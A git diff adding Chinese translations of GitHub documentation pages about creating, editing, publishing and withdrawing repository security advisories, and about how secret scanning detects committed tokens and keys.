“[存储库安全通告的权限级别](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories)” +- “[发布存储库安全通告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)” diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md new file mode 100644 index 0000000000..c692e45501 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/creating-a-repository-security-advisory.md @@ -0,0 +1,44 @@ +--- +title: 创建存储库安全公告 +intro: 您可以创建安全通告草稿,以私下讨论和修复开源项目中的安全漏洞。 +redirect_from: +- /articles/creating-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/creating-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/creating-a-security-advisory +- /code-security/security-advisories/creating-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +shortTitle: Create repository advisories +ms.openlocfilehash: d4b47f84b20873e97b18106448b768288fff3039 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145099741" +--- +任何对仓库有管理员权限的人都可以创建安全通告。 + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## 创建安全通知 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 单击“新建安全公告草稿”。 + ![“打开公告草稿”按钮](/assets/images/help/security/security-advisory-new-draft-security-advisory-button.png) +5. 键入安全通告的标题。 +{% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %} +11. 单击“创建安全公告草稿”。 + ![“创建安全公告”按钮](/assets/images/help/security/security-advisory-create-security-advisory-button.png) + +## 后续步骤 + +- 评论安全通告草稿,与团队讨论漏洞。 +- 添加协作者到安全通告。 有关详细信息,请参阅“[将协作者添加到存储库安全公告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)”。 +- 在临时私有复刻中私下协作以修复漏洞。 有关详细信息,请参阅“[在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”。 +- 添加因对安全通告做出贡献而应获得积分的个人。 有关详细信息,请参阅“[编辑存储库安全公告](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories)”。 +- 发布安全通告以向社区提醒安全漏洞。 有关详细信息,请参阅“[发布存储库安全公告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”。 diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md new file mode 100644 index 0000000000..e013d32d14 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/editing-a-repository-security-advisory.md @@ -0,0 +1,48 @@ +--- +title: 编辑存储库安全通告 +intro: 如果需要更新详细信息或更正错误,可以编辑存储库安全公告的元数据和说明。 +redirect_from: +- /github/managing-security-vulnerabilities/editing-a-security-advisory +- /code-security/security-advisories/editing-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +shortTitle: Edit repository advisories +ms.openlocfilehash: 2ea2f588374d83be677589b4f3bf4e74a7fc6e91 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145099739" +--- +对存储库安全通告具有管理员权限的人员可以编辑安全通告。 + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## 关于安全通告的积分 + +您可以向帮助发现、报告或修复安全漏洞的人提供积分。 如果您向某人提供积分,他们可以选择接受或拒绝积分。 + +如果某人接受积分,则其用户名将显示在安全通告的“Credits(积分)”部分。 拥有仓库读取权限的任何人都可以看到通告和接受其积分的人。 + +如果您认为您应该获得安全通告积分,请联系通告的创建者并让他们编辑通告以包含您的贡献积分。 只有通告创建者才可计入您的功劳积分,因此请不要就安全通告的积分一事联系 GitHub 支持。 + +## 编辑安全通告 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击您要编辑的安全通告。 +5. 在安全通告详细信息的右上角,单击 {% octicon "pencil" aria-label="The edit icon" %}。 + ![安全通告的“编辑”按钮](/assets/images/help/security/security-advisory-edit-button.png) {% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %} +11. (可选)编辑安全通告的“Credits(积分)”。 + ![安全公告的额度](/assets/images/help/security/security-advisory-credits.png) +12. 单击“更新安全公告”。 + ![“更新安全公告”按钮](/assets/images/help/security/update-advisory-button.png) +13. “Credits(积分)”部分列出的人员将会收到邀请他们接受积分的电子邮件或 web 通知。 如果某人接受,则其用户名将在安全通告发布后公开可见。 + +## 延伸阅读 + +- [撤消存储库安全公告](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/index.md b/translations/zh-CN/content/code-security/repository-security-advisories/index.md new file mode 100644 index 0000000000..41209dfb79 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/index.md @@ -0,0 +1,34 @@ +--- +title: 管理项目中针对漏洞的存储库安全公告 +shortTitle: Repository security advisories +intro: 使用存储库安全公告讨论、修正和披露存储库中的安全漏洞。 +redirect_from: +- /articles/managing-security-vulnerabilities-in-your-project +- /github/managing-security-vulnerabilities/managing-security-vulnerabilities-in-your-project +- /code-security/security-advisories +versions: + fpt: '*' + ghec: '*' +topics: +- Security advisories +- Vulnerabilities +- Repositories +- CVEs +children: +- /about-coordinated-disclosure-of-security-vulnerabilities +- /about-github-security-advisories-for-repositories +- /permission-levels-for-repository-security-advisories +- /creating-a-repository-security-advisory +- /adding-a-collaborator-to-a-repository-security-advisory +- /removing-a-collaborator-from-a-repository-security-advisory +- /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability +- /publishing-a-repository-security-advisory +- /editing-a-repository-security-advisory +- /withdrawing-a-repository-security-advisory +ms.openlocfilehash: 43efe7ceaf307da4a8a7c02c45f744a4967b05b0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099738" +--- diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md b/translations/zh-CN/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md new file mode 100644 index 0000000000..0e631a6723 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories.md @@ -0,0 +1,50 @@ +--- +title: 存储库安全公告的权限级别 +intro: 你在存储库安全公告中可以执行的操作取决于你是公告的管理员还是对其有写入权限。 +redirect_from: +- /articles/permission-levels-for-maintainer-security-advisories +- /github/managing-security-vulnerabilities/permission-levels-for-maintainer-security-advisories +- /github/managing-security-vulnerabilities/permission-levels-for-security-advisories +- /code-security/security-advisories/permission-levels-for-security-advisories +versions: + fpt: '*' + ghec: '*' +type: reference +topics: +- Security advisories +- Vulnerabilities +- Permissions +shortTitle: Permission levels +ms.openlocfilehash: 9c2ad0d30b98b79786df09a224766bd826cb84f6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099740" +--- +本文仅适用于存储库级别的安全公告。 任何人都可以在 [github.com/advisories](https://github.com/advisories) 上的 {% data variables.product.prodname_advisory_database %} 中提供全局安全公告内容。 对全局公告的编辑不会改变或影响公告在存储库中的显示方式。 有关详细信息,请参阅“[在 {% data variables.product.prodname_advisory_database %} 中编辑安全公告](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database)”。 + +## 权限概述 + +{% data reusables.repositories.security-advisory-admin-permissions %} 有关将协作者添加到安全公告的详细信息,请参阅“[将协作者添加到存储库安全公告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)”。 + +操作 | 写入权限 | 管理员权限 | +------ | ----------------- | ----------------- | +查看安全通告草稿 | X | X | +将协作者添加到安全公告(请参阅“[将协作者添加到存储库安全公告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)”) | | X | +编辑和删除安全通告中的任何评论 | X | X | +在安全公告中创建临时专用分支(请参阅“[在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”) | | X | +在安全公告中添加对临时专用分支的更改(请参阅“[在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”) | X | X | +在临时专用分支中创建拉取请求(请参阅“[在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”) | X | X | +合并安全公告中的更改(请参阅“[在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”) | | X | +在安全公告中添加和编辑元数据(请参阅“[发布存储库安全公告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”) | X | X | +添加和删除安全公告的积分(请参阅“[编辑存储库安全公告](/code-security/repository-security-advisories/editing-a-repository-security-advisory)”) | X | X | +关闭安全通告草稿 | | X | +发布安全公告(请参阅“[发布存储库安全公告](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)”) | | X | + +## 延伸阅读 + +- [将协作者添加到存储库安全公告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) +- [在临时专用分支中协作以解决存储库安全漏洞](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) +- [从存储库安全公告删除协作者](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory) +- [撤消存储库安全公告](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md new file mode 100644 index 0000000000..7ba82e5a8f --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/publishing-a-repository-security-advisory.md @@ -0,0 +1,101 @@ +--- +title: 发布存储库安全公告 +intro: 您可以发布安全通告,向社区提醒项目中的安全漏洞。 +redirect_from: +- /articles/publishing-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/publishing-a-maintainer-security-advisory +- /github/managing-security-vulnerabilities/publishing-a-security-advisory +- /code-security/security-advisories/publishing-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +- CVEs +- Repositories +shortTitle: Publish repository advisories +ms.openlocfilehash: f3e3bfdb6b44ec1c86bb903c66271b854f4fb041 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145099737" +--- + + +对安全通告具有管理员权限的任何人都可发布安全通告。 + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## 先决条件 + +在发布安全通告或申请 CVE 标识号之前,必须创建安全通告草稿,并提供受安全漏洞影响的项目版本的相关信息。 有关详细信息,请参阅“[创建存储库安全公告](/code-security/repository-security-advisories/creating-a-repository-security-advisory)”。 + +如果您已创建安全通告,但尚未提供有关安全漏洞影响的项目版本的详细信息,则可以编辑安全通告。 有关详细信息,请参阅“[编辑存储库安全公告](/code-security/repository-security-advisories/editing-a-repository-security-advisory)”。 + +## 关于发布安全通告 + +发布安全通告时,会通知您的社区关于该安全通告解决的安全漏洞。 发布安全通告使您的社区能够更轻松地更新包依赖项和研究安全漏洞的影响。 + +{% data reusables.repositories.security-advisories-republishing %} + +在发布安全通告之前,您可以私下协作在临时私有复刻中修复漏洞。 有关详细信息,请参阅“[在临时专用分支中协作以解决存储库安全漏洞问题](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)”。 + +{% warning %} + +警告:只要可能,你都应该始终在发布安全公告之前向该公告添加修复版本。 否则,通告将在没有修复版本的情况下发布,并且 {% data variables.product.prodname_dependabot %} 将向您的用户提醒有关问题,而不需提供任何安全版本来更新。 + +我们建议您在以下不同情况下采取以下步骤: + +- 如果修复版本即将可用,请尽可能等到修复版本准备好后再发布。 +- 如果修复版本正在开发中,但尚不可用,请在通告中提及,等发布后再编辑通告。 +- 如果您不打算修复问题,请在通告中明确说明,以免用户联系您询问何时进行修复。 在这种情况下,列入用户可用于缓解这一问题的步骤会有帮助。 + +{% endwarning %} + +从公共仓库发布通告草稿时,每个人都可以看到: + +- 通告数据的当前版本。 +- 积分用户已接受的任何通告积分。 + +{% note %} + +注意:公众无权查看公告的编辑历史记录,只能看到已发布的版本。 + +{% endnote %} + +发布安全通告后,安全通告的 URL 将与发布安全通告之前保持相同。 对仓库具有读取权限的任何人都能看到安全通告。 安全通告的协作者可以继续查看安全通告中过去的对话,包括完整的评论流,除非有管理员权限的人从安全通告删除该协作者。 + +如果需要更新或更正已发布的安全通告中的信息,可以编辑安全通告。 有关详细信息,请参阅“[编辑存储库安全公告](/code-security/repository-security-advisories/editing-a-repository-security-advisory)”。 + +## 发布安全通告 + +发布安全通告会删除该安全通告的临时私有复刻。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击您要发布的安全通告。 + ![列表中的安全公告](/assets/images/help/security/security-advisory-in-list.png) +5. 单击页面底部的“发布公告”。 + ![“发布公告”按钮](/assets/images/help/security/publish-advisory-button.png) + +## 对于发布的安全通告的 {% data variables.product.prodname_dependabot_alerts %} + +{% data reusables.repositories.github-reviews-security-advisories %} + +## 申请 CVE 识别号(可选) + +{% data reusables.repositories.request-security-advisory-cve-id %} 有关详细信息,请参阅“[关于存储库的 {% data variables.product.prodname_security_advisories %}](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories#cve-identification-numbers)”。 + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要为其申请 CVE 识别号的安全通告。 + ![列表中的安全公告](/assets/images/help/security/security-advisory-in-list.png) +5. 使用“发布公告”下拉菜单,然后单击“申请 CVE” 。 + ![下拉列表中的“申请 CVE”](/assets/images/help/security/security-advisory-drop-down-request-cve.png) +6. 单击“申请 CVE”。 + ![“申请 CVE”按钮](/assets/images/help/security/security-advisory-request-cve-button.png) + +## 延伸阅读 + +- [撤消存储库安全公告](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md new file mode 100644 index 0000000000..1eef124f95 --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md @@ -0,0 +1,42 @@ +--- +title: 删除存储库安全公告中的协作者 +intro: 协作者从存储库安全公告中删除后,将失去对安全公告的讨论和元数据的读取和写入权限。 +redirect_from: +- /github/managing-security-vulnerabilities/removing-a-collaborator-from-a-security-advisory +- /code-security/security-advisories/removing-a-collaborator-from-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +- Collaboration +shortTitle: Remove collaborators +ms.openlocfilehash: ced0edd0614304c0d33ddd40dce3c6a24a9ffcfd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099732" +--- +对安全通告具有管理员权限的人员可从安全通告删除协作者。 + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## 从安全通告删除协作者 + +{% data reusables.repositories.security-advisory-collaborators-public-repositories %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. 在“Security Advisories(安全通告)”列表中,单击要从中删除协作者的安全通告。 + ![列表中的安全公告](/assets/images/help/security/security-advisory-in-list.png) +5. 在页面右侧的“Collaborators(协作者)”下,键入要从安全通告删除的用户或团队名称。 + ![安全公告协作者](/assets/images/help/security/security-advisory-collaborator.png) +6. 在要移除的协作者旁边,单击“X”图标。 + ![用于删除安全公告协作者的 X 图标](/assets/images/help/security/security-advisory-remove-collaborator-x.png) + +## 延伸阅读 + +- [存储库安全公告的权限级别](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories) +- [将协作者添加到存储库安全公告](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) diff --git a/translations/zh-CN/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md b/translations/zh-CN/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md new file mode 100644 index 0000000000..50ce9a818a --- /dev/null +++ b/translations/zh-CN/content/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory.md @@ -0,0 +1,28 @@ +--- +title: 撤销存储库安全通告 +intro: 你可以撤销已发布的存储库安全公告。 +redirect_from: +- /github/managing-security-vulnerabilities/withdrawing-a-security-advisory +- /code-security/security-advisories/withdrawing-a-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: +- Security advisories +- Vulnerabilities +shortTitle: Withdraw repository advisories +ms.openlocfilehash: 1d85afddaadbd25c5b24ab945dac998b7842ae23 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145099724" +--- +{% data reusables.security-advisory.repository-level-advisory-note %} + +如果错误地发布了安全通告,可以联系 {% data variables.contact.contact_support %} 撤销。 + +## 延伸阅读 + +- “[编辑存储库安全通告](/code-security/repository-security-advisories/editing-a-repository-security-advisory)” diff --git a/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md b/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md index cfd584eef1..d9fbd6438e 100644 --- a/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/zh-CN/content/code-security/secret-scanning/about-secret-scanning.md @@ -1,6 +1,6 @@ --- -title: About secret scanning -intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' +title: 关于机密扫描 +intro: '{% data variables.product.product_name %} 扫描仓库查找已知的密码类型,以防止欺诈性使用意外提交的密码。' product: '{% data reusables.gated-features.secret-scanning-partner %}' redirect_from: - /github/administering-a-repository/about-token-scanning @@ -17,107 +17,100 @@ type: overview topics: - Secret scanning - Advanced Security +ms.openlocfilehash: 18c77c929bcbe770fd44bfe5bec7e32143a2e604 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192943' --- +{% data reusables.secret-scanning.beta %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -{% data reusables.secret-scanning.beta %} -{% data reusables.secret-scanning.enterprise-enable-secret-scanning %} +## 关于 {% data variables.product.prodname_secret_scanning %} -## About {% data variables.product.prodname_secret_scanning %} +如果项目与外部服务通信,您可能使用令牌或私钥进行身份验证。 令牌和私钥是服务提供商可以签发的典型密码。 如果将密码检入仓库,则对仓库具有读取权限的任何人都可以使用该密码以您的权限访问外部服务。 建议将密码存储在项目仓库外部专用的安全位置。 -If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project. +{% data variables.product.prodname_secret_scanning_caps %}将扫描 {% data variables.product.prodname_dotcom %} 存储库中存在的所有分支上的整个 Git 历史记录以查找机密{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %},即使存储库已存档也一样{% endif %}。 {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} -{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for secrets{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}, even if the repository is archived{% endif %}. {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} +{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} 在 {% data variables.product.prodname_dotcom_the_website %} 上以两种形式提供: -{% ifversion fpt or ghec %} -{% data variables.product.prodname_secret_scanning_caps %} is available on {% data variables.product.prodname_dotcom_the_website %} in two forms: +1. {% data variables.product.prodname_secret_scanning_partner_caps %}。 在所有公共存储库上自动运行。 与机密扫描合作伙伴提供的模式匹配的任何字符串都将直接报告给相关合作伙伴。 -1. **{% data variables.product.prodname_secret_scanning_partner_caps %}.** Runs automatically on all public repositories. Any strings that match patterns that were provided by secret scanning partners are reported directly to the relevant partner. +2. {% data variables.product.prodname_secret_scanning_GHAS_caps %}。 {% ifversion fpt %}使用具有 {% data variables.product.prodname_GH_advanced_security %} 许可证的 {% data variables.product.prodname_ghe_cloud %} 的组织可以为组织拥有的仓库启用和配置额外扫描。{% elsif ghec %}你可以为使用 {% data variables.product.prodname_ghe_cloud %} 并拥有 {% data variables.product.prodname_GH_advanced_security %} 许可证的组织拥有的存储库启用和配置额外扫描。{% endif %}与机密扫描合作伙伴、其他服务提供商或你的组织定义的模式匹配的任何字符串都会在存储库的“安全”选项卡中报告为警报。 如果公共存储库中的字符串与合作伙伴模式匹配,则也会向合作伙伴报告该字符串。{% endif %}{% ifversion fpt %}有关详细信息,请参阅 [{% data variables.product.prodname_ghe_cloud %} 文档](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security)。{% endif %} -2. **{% data variables.product.prodname_secret_scanning_GHAS_caps %}.** {% ifversion fpt %}Organizations using {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can enable and configure additional scanning for repositories owned by the organization.{% elsif ghec %}You can enable and configure additional scanning for repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}.{% endif %} Any strings that match patterns provided by secret scanning partners, by other service providers, or defined by your organization, are reported as alerts in the "Security" tab of repositories. If a string in a public repository matches a partner pattern, it is also reported to the partner.{% endif %}{% ifversion fpt %} For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/secret-security/about-secret-scanning#about-secret-scanning-for-advanced-security).{% endif %} - -Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning. {% data reusables.secret-scanning.partner-program-link %} +服务提供商可与 {% data variables.product.company_short %} 合作提供用于扫描的密码格式。 {% data reusables.secret-scanning.partner-program-link %} {% ifversion secret-scanning-push-protection %} -You can also enable {% data variables.product.prodname_secret_scanning %} as a push protection for a repository or an organization. When you enable this feature, {% data variables.product.prodname_secret_scanning %} prevents contributors from pushing code with a detected secret. To proceed, contributors must either remove the secret(s) from the push or, if needed, bypass the protection. {% ifversion push-protection-custom-link-orgs %}Admins can also specify a custom link that is displayed to the contributor when a push is blocked; the link can contain resources specific to the organization to aid contributors. {% endif %}For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." +还可以启用 {% data variables.product.prodname_secret_scanning %} 作为存储库或组织的推送保护。 启用此功能时,{% data variables.product.prodname_secret_scanning %} 会阻止参与者用检测到的机密来推送代码。 若要继续,参与者必须从推送中删除机密,或绕过保护(若需要)。 {% ifversion push-protection-custom-link-orgs %}管理员还可以指定在阻止推送时向参与者显示的自定义链接;此链接可以包含特定于组织的资源,以帮助参与者。 {% endif %}有关详细信息,请参阅“[用 {% data variables.product.prodname_secret_scanning %} 保护推送](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)”。 {% endif %} {% ifversion fpt or ghec %} -## About {% data variables.product.prodname_secret_scanning_partner %} +## 关于 {% data variables.product.prodname_secret_scanning_partner %} -When you make a repository public, or push changes to a public repository, {% data variables.product.product_name %} always scans the code for secrets that match partner patterns. {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} If {% data variables.product.prodname_secret_scanning %} detects a potential secret, we notify the service provider who issued the secret. The service provider validates the string and then decides whether they should revoke the secret, issue a new secret, or contact you directly. Their action will depend on the associated risks to you or them. For more information, see "[Supported secrets for partner patterns](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)." +将存储库设为公共存储库或将更改推送到公共存储库时,{% data variables.product.product_name %} 始终会扫描代码以查找与合作伙伴模式匹配的机密。 {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} 如果 {% data variables.product.prodname_secret_scanning %} 检测到潜在的机密,我们会通知颁发该机密的服务提供商。 服务提供商验证字符串,然后决定是应吊销机密、颁发新机密还是直接与您联系。 他们的行动将取决于您或他们的相关风险。 有关详细信息,请参阅“[合作伙伴模式支持的机密](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-partner-patterns)”。 -You cannot change the configuration of {% data variables.product.prodname_secret_scanning %} on public repositories. +您无法更改公共存储库上 {% data variables.product.prodname_secret_scanning %} 的配置。 -{% ifversion fpt %} -{% note %} +{% ifversion fpt %} {% note %} {% data reusables.secret-scanning.fpt-GHAS-scans %} -{% endnote %} -{% endif %} +{% endnote %} {% endif %} {% endif %} {% ifversion not fpt %} {% ifversion ghec %} -## About {% data variables.product.prodname_secret_scanning_GHAS %} +## 关于 {% data variables.product.prodname_secret_scanning_GHAS %} {% elsif ghes or ghae %} -## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %} +## 关于 {% data variables.product.product_name %} 上的 {% data variables.product.prodname_secret_scanning %} {% endif %} -{% data variables.product.prodname_secret_scanning_GHAS_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. When you enable {% data variables.product.prodname_secret_scanning %} for a repository, {% data variables.product.prodname_dotcom %} scans the code for patterns that match secrets used by many service providers. {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} will also periodically run a full git history scan of existing content in {% data variables.product.prodname_GH_advanced_security %} repositories where {% data variables.product.prodname_secret_scanning %} is enabled, and send alert notifications following the {% data variables.product.prodname_secret_scanning %} alert notification settings. {% endif %}For more information, see "{% ifversion ghec %}[Supported secrets for advanced security](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security){% else %}[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns){% endif %}." +{% data variables.product.prodname_secret_scanning_GHAS_caps %} 作为 {% data variables.product.prodname_GH_advanced_security %} 的一部分,在组织拥有的所有存储库上可用。 它不适用于用户拥有的仓库。 为存储库启用 {% data variables.product.prodname_secret_scanning %} 时, {% data variables.product.prodname_dotcom %} 将扫描代码中与许多服务提供商使用的机密匹配的模式。 {% ifversion secret-scanning-issue-body-comments %}{% data reusables.secret-scanning.scan-issue-description-and-comments %}{% endif %} {% ifversion secret-scanning-backfills %}{% data variables.product.prodname_dotcom %} 还会定期对启用了 {% data variables.product.prodname_secret_scanning %} 的 {% data variables.product.prodname_GH_advanced_security %} 存储库中的现有内容进行完整的 git 历史记录扫描,并按照 {% data variables.product.prodname_secret_scanning %} 警报通知设置发送警报通知。 {% endif %}有关详细信息,请参阅“{% ifversion ghec %}[高级安全性支持的机密](/code-security/secret-scanning/secret-scanning-patterns#supported-secrets-for-advanced-security){% else %}[{% data variables.product.prodname_secret_scanning_caps %}模式](/code-security/secret-scanning/secret-scanning-patterns){% endif %}”。 -{% ifversion secret-scanning-issue-body-comments %} -{% note %} +{% ifversion secret-scanning-issue-body-comments %} {% note %} -**Note:** {% data variables.product.prodname_secret_scanning_caps %} for issue descriptions and comments is in public beta and subject to change. +注意:问题说明和评论的 {% data variables.product.prodname_secret_scanning_caps %} 为公共 beta 版本,可能会发生更改。 -{% endnote %} +{% endnote %} {% endif %} + +如果你是存储库管理员,则可以为任何存储库启用{% data variables.product.prodname_secret_scanning_GHAS %}{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %},包括存档存储库{% endif %}。 组织所有者还可以为组织内的所有存储库或所有新存储库启用 {% data variables.product.prodname_secret_scanning_GHAS %}。 